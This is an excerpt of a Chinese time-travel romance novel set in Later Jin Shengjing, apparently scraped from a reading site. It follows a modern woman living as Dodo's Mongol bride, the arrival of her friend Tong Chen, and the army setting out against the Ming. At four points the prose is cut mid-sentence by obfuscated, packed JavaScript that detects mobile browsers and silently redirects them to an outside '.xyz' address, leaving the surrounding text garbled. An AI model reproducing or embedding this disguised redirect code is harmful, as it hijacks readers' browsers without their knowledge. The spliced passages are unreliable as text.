蒙古女儿也能分得牛羊牲畜,莽古斯和索诺木各留给了她部分财产。 不能说富可敌国,但也小有财产,所以她才能这么阔绰的拿出一笔让费扬古动心的钱财。 于微也笑了,“漠北怕不行吧,草原上不是都姓博尔济吉特。” 两人对视一笑。 于微重新坐了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941206|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费扬果忽然很认真对于微说:“我说真的,与其这么绞尽脑汁回去,还不如让你姐妹过来的难度低。多铎娶你,就是别有用心,二贝勒阿敏被圈禁,三贝勒莽古尔泰死的莫名其妙,都说是皇太极杀了他,还有一个掌控两红旗的大贝勒代善活着。” “皇太极很需要弟弟们,小贝勒们也需要皇太极,摆脱大贝勒对他们的控制。” “等一下?”于微听不太明白了,“大贝勒还控制小贝勒?” “这你就不知道了吧,后金自有国情在此,这会儿八旗相当于八家子公司,相互之间的壁垒很强。努尔哈赤可能是想搞邦联,八旗贝勒们一起议事这种。” “大汗是怎么登基的呢,是努尔哈赤死了,但没有立下继承人,于是大家一起商量,候选人当然是军功卓著的四大贝勒。但大贝勒代善,是被废的储君,因为跟大妃有私情,二贝勒阿敏,是侄子不是儿子,第一轮就出局了,三贝勒莽古尔泰不能服众,就剩下四贝勒皇太极了。” 于微蹙眉,“大妃?哪个大妃?你说的不会是我婆婆吧?!” 她往费扬果方向凑了凑,“她和大贝勒的绯闻,展开说说。” “我也是听说的,具体是哪个大福晋跟大贝勒偷情我不知道,努尔哈赤不让人说这个事,不是你婆婆就是三贝勒莽古尔泰他老妈。但我按年龄推算了一下,如果代善没什么特殊癖好,应该是你婆婆,大妃阿巴亥。” 于微一惊,眼珠转了下,小声道:“不会是因为这个,他才这么大度的吧?” “你说什么呢?”费扬果好奇问道。 “没什么,我说我这老婆婆挺厉害的。” 费扬果肯定道:“那当然是,大汗带着子弟们出征的时候,内事可都是大妃处置,她对两黄旗的事务,插手很深。” 说到这里,费扬果有些感慨。 “所以我要是皇太极和三大贝勒,不弄死大妃阿巴亥我也睡不着。她有三个儿子,三个儿子手上兵力加起来占八旗三分之一,而且都是精锐,虽然儿子年龄小,两黄旗不一定听他们的,但是她有深入插手过两黄旗事务的经验啊。而且她跟大贝勒代善闹过绯闻,但凡她立一个小的,跟大贝勒旧情复燃,一起实际控制权力,把几个贝勒逐个击破,然后熬死代善或者直接弄死,她就是女真第一人。还有什么叶赫那拉的诅咒,直接乌拉那拉的诅咒。” “几大贝勒根本玩不过她,虽然一个个战功彪炳,但是阿敏跟莽古尔泰那是纯没脑子没素质,就是皇太极难搞一点,但可以用代善制衡他。” “可惜。”费扬果惋惜道:“没等她出手,四大贝勒先一起出手了。先汗的遗旨是真是假我不知道,也有可能是真的,她那纯死局,没法儿破局了。” 于微顺着费扬果的思路想了想,好……好具有实操性的路线……八旗太松散了,几大贝勒相互不服,小贝勒里三个都是阿巴亥的崽。 真是太可惜了。 没等她惋惜出口,那边费扬果继续道:“最后选来选去,就剩个皇太极了,他是四大贝勒里最弱势的,所以一开始,他是跟三大贝勒一起坐着听政,其实就相当于一个汗三个常务副汗,小贝勒们对天盟誓,也接受大贝勒们的约束。” “那作为一个大汗,卧榻之侧岂容他人酣睡,小贝勒们原来只有一个爹,现在多出来四个爹管着,也不乐意。” 费扬果一番话,于微也听明白了,离婚不容易,难度很高,但她是不会让姐妹往这个火坑里跳的! 她站了起来,“让我再想想办法!” 8. 眼线 这边于微办法还没想出来,那边嫩科尔沁送亲的队伍便要启程返回草原,送嫁的队伍留下毡车,代表不会再将新娘带回去,此后新娘成为男方部落的一员。 该死,这么着急做什么。 于微一急之下,急了一下,她实在想不出什么好办法了,但又决不能坐以待毙,于是乎,她决定主动出击,随便找多铎点麻烦。 鸡蛋里也要挑他点骨头出来! 人到书房门口,却被人拦住,侍卫道:“福晋,贝勒有要事要处理。” 要事?! 那她更要进去了。 泼妇的自己无理取闹,将正事搅浑,多铎一怒之下,和自己争吵,然后感情破裂,各回各家。这剧情,实在太流畅,这样想着,于微就要冲进去,将脑海中的想象变成现实。 侍卫怎么敢拦她,于微短暂犹豫,气沉丹田,压下胸中心虚,用力推开了书房的门,木门砸在门框,发出不小一声声音,屋中几人纷纷朝门口方向看来。 多铎看清是于微,先是一惊,随即问道:“你来做什么?” “你对我一点也不好!”于微决定给他安个大点、并最终解释权在自己手里的罪名。 “你有别的福晋,也不来看我,门口这些该死的侍卫还拦着我。他们哪有这个胆子,肯定是看了主子的脸色。你对我一点都不好。” 一套循序渐进的丝滑连招下来,多铎被打了个措手不及,不可置信且匪夷所思的望向于微、 于微说完这番令人羞耻的抬不起来头的台词,紧紧咬住下船,才没让自己笑出来,她避开多铎的视线,生怕迟一秒,自己就破功了。 果然,演员这碗饭不是谁都能吃的,需要超强的信念感才能说出羞耻的台词不笑场,可惜,这个东西于微没有。 她以手掩面,生怕让人看出来她在笑。 要死,别笑了。 闻言,旁边两个年轻人没忍住笑出了声,其中一个清秀俊俏的于微认识,正是多尔衮。 另一个有些眼熟,想不起来在哪里见过,但见他眉眼间与多尔衮、多铎有些相似,于微猜测他就是两人同母的兄弟阿济格。 八贝勒阿济格。 北京著名景点八王坟的主人,于微去北京旅游时,偶然路过,听司机说,这里头埋的是努尔哈赤的儿子,英亲王阿济格,因为在清初诸王中排第八,所以简称八王。 三兄弟,分别是八九十王。 但在努尔哈赤的儿子中,却对应十二、十四、十五。 这个嫡嫡道道的世界,真是复杂。 多尔衮和阿济格笑了,屋中其他人也被两人感染,低低笑出声来,多铎也无奈的笑了,正欲开口,让于微先回去,自己晚些时候处理完正事,再去见她,话还未出口,却见于微头也不回的跑了。 不行了,快跑,要笑出来了。 于微穿着靴子,跑起来,健步如飞,女真的传统是女着寸子鞋,厚底的木鞋,即后世花盆底的雏形,但实际生活中,女真女子更多和男子一样穿靴,靴子更便于骑射。 这一时代,男装女装的区别不大,女着男装也司空见惯。 于微一口气跑出去不知道多远,一直到确定身后无人,她才桀桀桀的笑出声来,要命了,她刚才是怎么想出那一堆羞耻的语句,又怎么理直气壮把这些话朗诵出来的。 “尘,都是为了你啊!” 于微越想,越想找个地缝钻进去。 她痛心疾首道:“都是为了你,尘!” 见面了,她一定要狠狠道德绑架一下对方,要她从此对自己死心塌地,再没有第二个闺。 弱水三千,只有她一瓢(友情版)。 既然做了,就一不做二不休,于微回屋,召集几个心腹蒙古侍女,决定直奔汗宫而去,把这个莫须有的罪名给多铎落实,先打出两人夫妻关系不好的名声来。 于微的骑术不佳,非常不佳,是望着马,和它大眼瞪小眼的水平,出门只能套车。套车要花些时间,阵仗也大些,哈日娜很快就被于微的阵仗惊动,派人前来询问。 书房中,众人被于微这么一闹,自然也商议不下去了,阿济格屁股离了凳子,招呼众人往外走,“都别坐着了,这蒙古女人不好惹啊,尤其是富贵的蒙古女人,说不准她还会告状呢,还是快走吧。” 说完,他意有所指的瞥了一眼多铎。 多铎斜了一眼阿济格,脸色有些沉,“十二哥慢走。” 他送几人到门口,见下人正在套车,眉头微微一蹙,询问道:“谁要出门?” 下人道:“是大福晋。” 阿济格与多尔衮对视一眼,眼中都有些诧异,阿济格显然没想到自己居然一语成谶,这蒙古女人真要进宫去告状,于是悄然看向多铎,打量着他的神色。 “这福晋不会真是大汗的眼睛吧?那你可要小心了。”阿济格小声道。 多尔衮深深看了阿济格一眼,并没有说话。 多铎闻言,脸色也不大好看,他抬眸,看向阿济格,阿济格趁热打铁道:“这福晋不好,哥哥再给你娶好的。” “哥。”多铎开口道,“她挺好的。” 阿济格这简单的四个字堵住了,一时语塞,干脆走了,多尔衮也不多说什么,各回各家。 见马车迟迟没套好,那边哈日娜眼见就要亲自来了,于微急的焦头烂额,亲自出门查看,谁料正好和去找她的多铎撞了个正着。 多铎展臂,拦住她前路,“去哪儿?” 于微不答。 下一瞬,多铎就抓住了她的手臂。 多铎的力气很大,拽得于微手臂生疼,她用力拍打手臂上的桎怙,但多铎就是不松手,硬拽着她回到了后院,哈日娜也到了,见两人情况不对,想要劝说,却被多铎示意下人拦住。 他拽着于微进了屋,反手将门锁上,这才松开她的手,屋中只剩下两人,见眼前人情绪不对,于微警觉地往后退了几步。 “你要去哪儿?”多铎逼问道。 “我去哪儿关你什么事?”于微毫不畏惧道。 多铎话说的直白,“你是我的福晋,我自然要管,以后没我的命令,你不许出门,更不许去汗宫。” 于微一听,当即怒了,“凭什么?” “什么凭什么,你嫁给了我就要听我的。”多铎斩钉截铁道。 于微当即反问道,“那你怎么不听我的。” 多铎愕然,“你说什么?” 于微有些心虚,但还是理直气壮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941207|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说那你还娶了我呢,怎么不听我的!” 万恶的封建社会,为什么结婚了只有女听男,就不能男听女?婚姻又不是一个人就能缔结,单方面的听不叫婚姻,叫卖身契。 多铎气不打一处来,“你胡说八道!” 如果说刚开始他还有一点怀疑,怀疑这个新娶的福晋皇太极安插在自己身边的眼线,那现在他是一点都不怀疑了。 这人当不了眼线。 他现在要担心的,是她会被人套话,可显然,看现在这架势,自己即便跟她说,她也不会听。她像是一头倔强的烈马,桀骜不驯的要按照自己的心意过活,而非戴上马鞍,成为他人坐骑。 这样的人,不会成为别人的棋子,但一般人也拿她没办法,比如自己。 ..... 多铎望着于微良久,红唇紧紧抿起。 于微见多铎不断打量着自己,完全没了一开始的硬气,似乎在思索该用怎样合理的方式对待自己,对方气势一旦弱下去,她的胆量就飞涨,于微越过多铎,打开了门..... 新婚的夫妻,相处并不融洽,第一个劝他们的长辈,居然是皇太极本人,而非哲哲。 女真还保持着住在高地,便于瞭望来敌的居住习俗,沈阳是平原,于是人为修建起高台,在高台上兴修建筑,皇太极和他的妻妾们都住在凤凰楼上。 不仅是凤凰楼,各贝勒府也是修建在青砖基座上,只是高低不同,按等级而定,凤凰楼是盛京最高的地方,各王府都不能越过。 四米多高的青砖台基拔地而起,楼后便是五宫,几座建筑组成一个闭合庭院,幽静古朴。五宫的正宫为清宁宫,是皇太极与哲哲的居所。 清宁宫并不大,整个汗宫都不大,因为还没进关,此时后金只能算作偏僻之地的一个少数民族政权,它的财政情况,可想而知。除了作为政治中心用来举行典礼的大政殿和两边的十王亭稍微算得上豪华,其他地方都很简朴。 当然,对比的是同期的大明,在后金,大汗住的地方自然是最好的。清宁宫比起贝勒府,大了很多,装饰也很非常精致,房梁上凤凰纹栩栩如生。 高大黝黑的男人盘腿坐在清宁宫的榻上,唠唠叨叨跟下面坐着的两人说了一大堆,什么‘福晋年纪小多铎要包容’、‘丈夫为尊达哲不可娇纵’。 国家最高leader坐在炕上,像居委会大妈一样耐心劝导着两人。皇太极丝毫没有国君的高高在上,语气敦和,他话说的快,却也说的十分细致。 他就事论事,各打五十大板,谁也不偏袒,但末了,还是叮嘱多铎,以于微年纪小,又是嫩科尔沁大嬷嬷的幼女为由,让他务必要宽待之,多包容。 大汗都这么说了,他们还能说什么?无非是说些‘好的’、‘收到’、‘ojbk’一样的奴才回复。 出了凤凰楼,站在青石阶梯之上,眼前是一片开阔地带,盛京平原诸多建筑,在眼前铺陈开来。 “管的真宽。” 于微惊了一下,以为自己嘴快把心里话说出来了。但这声音并不是从她口中发出,她扭头,看向身旁多铎。 他站在凤凰楼前,光明正大、毫不遮掩、坦坦荡荡的抱怨了出来。 “烦死了。” 9. 童尘来后金 女真人擅长骑射,认为被弓弦缢死是一种很崇高的死法,大妃阿巴亥就是被用弓弦勒死。 她死的时候,多铎只有十二岁,父亲忽然死了,母亲被逼和父亲同柩而葬,这对年纪还小的他而言,是个不小的打击。 所以,对逼死母亲的四大贝勒,多铎心中是有怨恨的。 但是,咱能不能憋着点? 于微看多了玄武门故事,对皇室兄弟情持非常悲观的态度,多铎这么蛐蛐他当大汗的哥哥,真的合适吗? 这么明目张胆的抱怨,听得于微心惊肉跳,只能希望皇太极不是个睚眦必报的人,这要是个抠门大汗,那完蛋了。 她正想着,那边多铎已经转过头来,打量的视线直射进于微眼底,见她眼中微有些忐忑,他便看出她的胆怯,冷笑声,“你居然还会害怕?” “怕什么?” 这话说的?她又不是什么有九条命的人,当然会害怕。 见于微不说,多铎也懒得再问,两人一道回府,于微依旧是坐车,见状,多铎问道;“没见过你骑马,这车有那么好坐吗?不嫌颠吗?” 当然颠。没有减震装置的木头车轮,颠得要死。 可比起走路,还是坐车吧。 毕竟,她也不能说自己不会骑马吧,那不就露馅了,一个草原公主不会骑马,这跟中国人不知道宫廷玉液酒的价格有什么区别。 看来要补习一下骑术了。 一想到又要学习,于微就气不打一处来,张口就怼了过去,“你管我!我就喜欢坐车,不行吗?” 多铎蹙眉,口气也多了几分不耐,“行吧行吧。你爱怎么样怎么样。” 回到府中,于微还没进门,远远便瞧见一道身影,这身影很熟悉,她霎时眸光一紧,伸着头,往前走了两步,想要确认来人是否是自己心中所想。 哈日娜正和来人说着什么,一抬头见到于微,当即对来人道:“他们回来了。” 少女回过头,露出一张于微朝思暮想的脸来。 啊!她的尘! 于微霎时眼前一亮,那边童尘已经风一样朝她跑了过来,两人拉着手,兴奋地尖叫出声。 “啊!!!” 多铎站的近,显然被吵到,‘嘶’的吸口气,可两人哪管他有没有不悦,拉着手激动的自说自话。 “你怎么来了!”于微激动的难以言表。 “满珠习礼护送活佛来朝见皇...”眼见童尘说的顺口,一句‘皇太极’就要脱口而出,于微心中一紧,赶紧捏了捏她的手,童尘也意识到自己说快了,赶紧改口,“后金大汗,我也就跟着来了。” 于微握紧了童尘的手,“来了就好!来了就好啊!” 姐妹相见,激动难耐,两人拉着手一溜烟跑了,进了屋,屏退侍女,于微急不可耐的对童尘吐槽起来,“我给你说我刚从宫里出来,皇太极真的很啰嗦。” “我还没见过呢皇太极呢,我只听说过他很喜欢海兰珠,海兰珠已经在准备嫁妆了,不行,我要亲眼目睹一下这桩旷世绝恋,我要嫁来后金!” 于微脸上的笑容一下就消失了,“你疯了,你来后金嫁给谁啊?皇太极吗?” “这不是过来挑来了嘛!总有好的吧。” “有好的才是见了鬼了。”于微撇了撇嘴,“你别着急,我正想办法回去呢。” “我能不急吗?那都有人上门说亲了,我一问,什么什么部,哎呀,名字太拗口,没记住,那一看就离后金很远啊,不行,我不能跟你分开,我要来后金,这可是潜力股。” 闻此,于微有些动容,“那你要想来的话,不然我陪你在后金挑一下。” “走,让我也看看后金男人长什么样。” “对了。”于微想起骑马的事情,问童尘道:“你马术补的怎么样了?” 童尘望着于微,眨了眨眼睛,于微当即知道,她也没补,好嘛,两个马术白板。 师父好找,随便抓一个侍女都会骑马,但于微和童尘身份特殊,不能让外人知道她们不会骑马。 “看来只有一个人能教我们了,还记得我跟你说过的,后金这边的穿越者吗?走,我带你去找他。” 于微在教场上找到了费扬果,他正在练习射箭,一支羽箭飞出去,叮的声落到了隔壁的靶子,见此,于微和童尘对视一眼,没忍住笑了出来。 “哈哈哈哈。” 费扬果回头,神情不悦,但见是于微,脸上不悦变成了埋怨,“哎呀,你不许笑,真是的。”他见于微身边还跟着个人,询问道:“这位是?” “这是我姐妹,也是我妹妹,童尘,在这边叫巴特玛。” “尘,他就是我跟你说的费扬果,现代叫陈言。” 老乡见老乡,两人礼貌的打了个招呼。 “我们找你是想拜托你一件事。”于微郑重道。 “你说。” “能不能找个没人的地方教我俩骑马。”于微请求道,“我俩刚过来没多久,还不是很会骑术,也不好找别人教,想来想去,只能找你了。” 费扬果点点头,“可以,但是这几天不行,我要练一下箭术,大汗要征讨大明,我也想去,再练一练,看能不能去,有点军功比没有好。” “征明?”于微有些意外,她立刻问道:“贝勒们都去吗?” “应该是要都去,因为大汗亲征。” 童尘对弓箭感兴趣,上前摸了摸,一脸好奇问费扬果道:“我能不能跟你一起练。” 费扬果笑了,“欢迎欢迎。” 童尘练,于微岂有不练之理,傍晚,两人拖着肿胀酸痛的胳膊,哎呀连天的回家去了,哈日娜准备了宴席,为童尘接风洗尘,两人握筷子的手抖得像帕金森晚期。 “你们干什么去了?”哈日娜笑着问道。 童尘想也没想,“和费扬果一起练箭去了。” 此话一出,席间的氛围霎时就不对了,哈日娜立刻看向多铎,果不其然,多铎的脸一瞬就阴沉了下来,童尘也觉察到不对,但实在不知道自己这句话到底哪里错了。 是费扬果不对?还是练箭?还是整句话都不对? 哈日娜见氛围不对,立刻打圆场道:“练箭好啊,我的大格格也在练箭,明日让她也跟着你们一起练。” “好呀。”童尘答得小心翼翼。 哈日娜又问道:“你们下午去练箭的话,那就是没有入宫去见国君福晋了?” 于微这才反应过来,看向童尘,“你没进宫?” 她以为童尘是先见了哲哲,才来见她。 童尘也才想起了,满珠习礼和她分开时,也叮嘱她要去见哲哲,她当时满脑子都是于微,然后一扭头就忘了。 完蛋。 光顾着她俩姐妹情深了,完全忘记汗宫中还有一个同母的姐姐哲哲。 多铎瞥了她一眼,目光不悦,但到底没说话,哈日娜见两人还没去见哲哲,口气一时变得老成起来,教训二人道:“你们俩也别光顾着玩,哪有来盛京了不先去见额格其的道理?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941208|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “知道了。”于微道。 童尘看了一眼训人的哈日娜,又看了一眼于微,若有所思。 洗尘宴后,哈日娜又叫来大格格见两人,大格格已经三岁了,生的很壮实,据说现在已经能骑马了,正跟着师父学射箭。 大格格将于微叫‘额涅’,叫童尘.... 大侄女。 晚上两人睡在一起,蛐蛐了一晚上,次日才入宫去见哲哲,哲哲怀孕了,大腹便便,快要临盆。哲哲没有计较童尘先去见于微,后来见自己的事情,拉着两个妹妹上炕,又让嬷嬷带来两个格格。 一个是长女马喀塔格格,一个是和于微同名,要嫁给舅舅奇塔特的达哲格格。 “姨妈。” 在哲哲这里,两个人的称呼协调了。 见过两个格格,哲哲又问了童尘一些部落里的事务,童尘都一一作答,末了,她劝哲哲不要神伤,安心养胎生下孩子才是。 哲哲毕竟是高龄产妇了,这个年龄段生孩子是个很危险的事情。 提到孩子,哲哲蜡黄的脸上再度浮上忧虑。 “是个阿哥就好了。”她在两个妹妹面前袒露了心声。 “我在后金这么多年,从贝勒福晋到今天的中宫福晋,吃了多少苦,受了多少委屈,只有儿子,才能稳固我的地位,才能让后金和科尔沁的联盟,天长地久。” 没有儿子,她将无法保住自己的荣光。 “达哲,你也要尽快生下儿子才是。” 于微‘啊’了一声,还是硬着头皮应下,“是,额格其。” 孩子?人类什么时候进化到单性繁殖了她再生吧。 两人又在宫中待了一会儿,见过布木布泰和东宫福晋扎鲁特氏,扎鲁特氏也姓博尔济吉特,八百年前大家都是一家。 出了凤凰楼,回到贝勒府,哈日娜命人叫于微过去,于微让童尘先回去,自己去见哈日娜,哈日娜和她提起多铎要出征的事情。 己巳之战后,皇太极发现了大明王朝的弱点——骑兵不是特别行,当初大明定都北京,是为了防御蒙古人,但现在明朝江河日下,北边的军备早已松弛。啃不下固若金汤的宁锦防线,他还翻不过长城吗? 那之后,皇太极便将战略目光目光从大明转到了蒙古。 大明一时啃不动,那就啃蒙古,啃完蒙古从长城翻过去啃大明。 蒙古这边也早没了大元时的宏伟气象,四分五裂,按大概范围分为漠北、漠南、漠西蒙古,后金和漠南蒙古接壤,所以皇太极首先要征服漠南蒙古。 漠南蒙古内部也有许多部落,嫩科尔沁只是其中之一,但各部名义上,仍旧奉北元的蒙古大汗——林丹汗为共主。汗权不振已久,漠南蒙古各部各自为政,林丹汗能支配的,只有自己的察哈尔部。 皇太极几次征讨漠南蒙古各部,迫使他们脱离林丹汗,倒向后金,并积极和漠南蒙古上层联姻,拉拢他们。而林丹汗一直想恢复汗权,统一草原,于是对漠南蒙古各部开战,间接导致了嫩科尔沁部等在林丹汗和后金双面夹击的困局下,偏向更近的后金。 毕竟林丹汗打他们需要一段距离,后金伸手就打。 林丹汗没打过皇太极,西遁而去。 皇太极啃下蒙古,后金隔三差五借道蒙古,翻长城,进关旅游。 天聪八年五月,数万八旗、蒙古、投降收编的汉军,在接受过皇太极的检阅后,直奔明国宣府、大同而去。与此同时,皇太极也派人往科尔沁,请外藩蒙古出兵协同作战。 10. 和童尘欣赏帅哥 多铎出征,于微自然要去送,童尘也跟着她去,她没有和满珠习礼一起返回草原,而是留在了盛京。 战事将起,满珠习礼要随同作战,提前返回草原做准备,临行之际,说好只是来后金转一圈就乖乖和他回去的童尘忽然变了脸,怎么也不肯走。 满珠习礼没办法,只能去找哲哲,哲哲受不了于微和童尘两个小妹妹一左一右抱着她的手臂央求,只得借口自己月份大了,需要妹妹在身边陪伴,让满珠习礼先回去,过段时间自己再派人送童尘回去。 哲哲都这样说了,满珠习礼只能作罢,独自返回科尔沁,童尘因此留在了后金,哲哲要留她在汗宫里住,她不,一定要和于微住在一起,于微也一定要和童尘住在一起,哲哲只得随她二人去,叮嘱哈日娜好好照管她们。 “达哲年纪还小,巴特玛也古灵精怪的,你要好生看着她们,别让她们闯祸。” 哈日娜点头,“是。” 八旗出征的阵势浩大,皇太极带着贝勒和大臣们,出盛京,拜堂子。 拜堂子是萨满祭祀的核心礼节,原来女真各部都有自己的堂子,后来努尔哈赤统一女真,摧毁异族堂子,仅仅保留了本部堂子,皇太极在父亲的基础上,确立堂子的国祭地位。 堂子中的神很多,不拘泥于一神,祖先、神灵、恩人,都有可能成为堂子中的一员,受到祭祀。 鼓乐声肃穆,带着面具的萨满们将祭品捧上享台,恳求神灵尚飨,皇太极率八旗贝勒、大臣们庄重向堂子中神灵行三跪九叩之礼,又在堂外树八杆纛旗,致祭行礼,祈求天神保佑出征一切胜利。 拜完堂子,就到大军西去之时,众人最后跟自己的家眷道别,多铎和哈日娜交代完大小事务,目光投向一旁于微,于微正漫无目的的四看,神情恹恹,似乎十分无聊的样子。 她原本是不愿来的,马术不到位,坐车又太颠簸,她也根本不在意多铎的死活,为什么要为了送他,自己不仅要早起,还要白白吃上车马颠簸之苦? 这不是自寻苦吃,没苦硬吃? 若非童尘听说这次出征,后金的贝勒们都会出现,她一时好奇,想见见这些人,挑一挑,否则于微是不会来的。 童尘饶有兴趣打量着诸位贝勒,于微没睡醒,精神不佳,她随着童尘的目光,四处看着,一边看一边努力回想这人是谁,以免童尘问起,她答不上来,正边看边想着,她抬起的眸光不防对上多铎的视线,于微愣了一下。 四目相对,两人均是缄默。 寂静,该死的寂静,身旁一对对夫妻相拥话别,他们两个站在原地,大眼瞪小眼。 见于微连一句客套话都不同自己讲,多铎即便提前做了心理准备,但真面对这一幕,脸色还是不自觉沉了下来,见他脸色难看起来,于微垂眸,避开他的视线,装作什么都没看到。 呸。还敢给她脸色看?! 她不看! 不诅咒他早点死了,自己当了寡妇好回乡,已经是她人美心善,还敢给自己脸色看。 于微对他的情绪置之不理,这更激怒了多铎,胸中那道无名火,蹭的窜了起来,可众目睽睽下,他又不得不压制,血脉上涌,多铎清晰感觉到了自己太阳穴在跳动。 他往前走了一步,站到了于微面前。 于微只感觉到自己被一道高大的身影笼罩,下一瞬,两边肩膀便一沉,多铎握住她的肩膀,转过她半边身子,强迫她正视自己怒火中烧的目光。 望着眼前这张近在咫尺的脸,于微不由呼吸一滞,后背发紧,抬起的目光中也带了一丝紧张,但再一想,这会人这么多,他又能怎样? 于是她眼中的紧张消失,于微学着多铎的样子,反凝视了回去,两人就这么盯着彼此,一言不发,不像是话别的夫妻,像是相互挑衅要决斗的仇敌。 童尘和哈日娜是最先发现两人异常的人,见他们目光不善,眼中不由浮现警惕与担忧,她们异样的神情,又被身旁的人觉察,越来越多的人往这边看来,多铎也感觉到了周围人的视线。 他微微侧首,余光瞥见正往他们这方向看来的皇太极和国君福晋哲哲,多铎抿唇,握住于微双肩的手忽然用力,将她抱入怀中,于微猝不及防,整个人撞入一堵陌生的怀抱。 她当即怒了,想要挣扎,多铎的低沉的声音却从头顶落下,“别动。” 于微不管,继续挣扎,奈何她身上那双手臂的确有劲,两人暗自使力,较量了一番,最终以于微落败而拉下帷幕,眼见挣不开,她又不甘心这么被人占便宜,捏起拳头,假借拍抚,用力垂向多铎后背,多铎闷哼了一声。 抢在他发作之前,于微大声道:“你可一定要回来。” 下一瞬,于微后背也被人砸了一下,多铎咬牙切齿道:“那是,我肯定回来。” 两人你一拳,我一拳,一拳更比一拳强,哈日娜不得不动手将两人分开,她把多铎推向马边,“好了好了,快走吧。” 童尘拉住于微,唯恐她被打出了内伤,“没事吧。” 她不满的瞪了一眼多铎,多铎一愣,又看向满眼愠怒的于微,这蒙古女人怎么一个两个都这么彪悍? 大军启程,很快消失在地平线的尽头,回贝勒府的路上,童尘神秘兮兮问于微,“那个个子高高的,长得帅帅的是谁啊?” 于微一愣,看向童尘,“你怎么不直接指给我看,你这么描述我怎么知道是谁?他们都挺高的,你觉得帅帅的,和我觉得帅帅的,恐怕还是有点误差的。” “他也瘦瘦的。”童尘补充道,“而且眼睛非常有神。” 这么一描述,于微似乎知道是谁了,“不会是多尔衮吧。” 后金的贝勒们大多高大,常年弓马,皮肤黝黑,远远看起来,十分威猛,唯独多尔衮是个例外,他从小身体就不太好,名字‘多尔衮’的汉意,也是‘弱小的’,成年之后才有所好转,变得强壮,但站在诸贝勒之中,仍旧显得有些瘦。 一说瘦,于微只能想到多尔衮。 “啊?”童尘愣了一下,“不是吧,多尔衮的话,这....” 童尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941209|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对清初的历史知道的不是特别多,为数不多知道的一些还都是野史,什么太后下嫁、顺治夺弟媳、出家五台山。那太后下嫁的男主不就是多尔衮嘛。 传闻中,这位将来的大清摄政王,对他的嫂子孝庄太后大玉儿深情不移。 虽然她也不知道为什么布木布泰一个蒙古人,会有一个汉名大玉儿,布木布泰在蒙语里,是天降贵人的意思,莫非这个玉,是和氏璧那个玉? “别担心,我也不能确定那个人就是多尔衮,这样,等大军回来了,咱们再辨认一下。如果不是当然最好,如果是...我劝你换个人。”于微安慰童尘道。 童尘不解,“为什么要换一个?” “因为多尔衮有福晋,也是科尔沁的人,是我的叔叔你的叔祖爷爷明安的孙女,也就是你的堂姑,没错!他是你姑父。” 童尘的脸一下就沉下来了,“我靠?还有这层关系?” “对呀。女真跟咱们蒙古都盛行早婚,十一二岁就结婚了,你刚才看的那一批里面,绝对没有单身的。你还是死了这条心吧。现在我认识的单身的,就剩费扬果了。” “啊?那还是算了。他长得太一般了。” 童尘想了想,又问道:“那你嫁过来是当什么啊,亲妈做主的婚事,应该不会坑你吧。” “那的确是。”于微点点头,“我这不是已经把姐夫撬到手,把堂姐的原配之位夺走,自己当了大福晋嘛。” “我看不像。”童尘显然不信,“我觉得哈日娜比你像大福晋,你看看她,你再看看你,你觉得你俩谁像当家做主的人?” “哎呀。”于微满不在乎道,“在意这么多干什么,谁爱当谁当吧,后金跟咱们那儿一样,都是多妻,都差不多。我也不想当这个大福晋,正想办法回草原呢。” “我劝你别回去。”童尘立刻道,“你是没留下来,不知道家里什么情况。来跟我求婚的都是些什么人,一把年纪了也好意思也娶我?尿是哑光的吗?还有那小的,正换牙呢,缺个大门牙就来了,这是打算让我给他当新娘吗?” 童尘越说越生气,于微听着也生气,“看来两边都没有净土,我还说回去找个赘婿咱俩当女王呢。看来不行啊。” “你要这么想,我觉得你可以真可以考虑一下费扬果。”童尘一本正经道:“草原哪有后金的发展前景好,费扬果很符合你的预想。” “我离婚之后改嫁给前夫的弟弟是吧?”于微指着自己,缓缓问道。 “反正我就觉得那个帅,那个真的帅!”童尘重复道。 “那我跟帅哥你选谁?”于微望着童尘,认真问道。 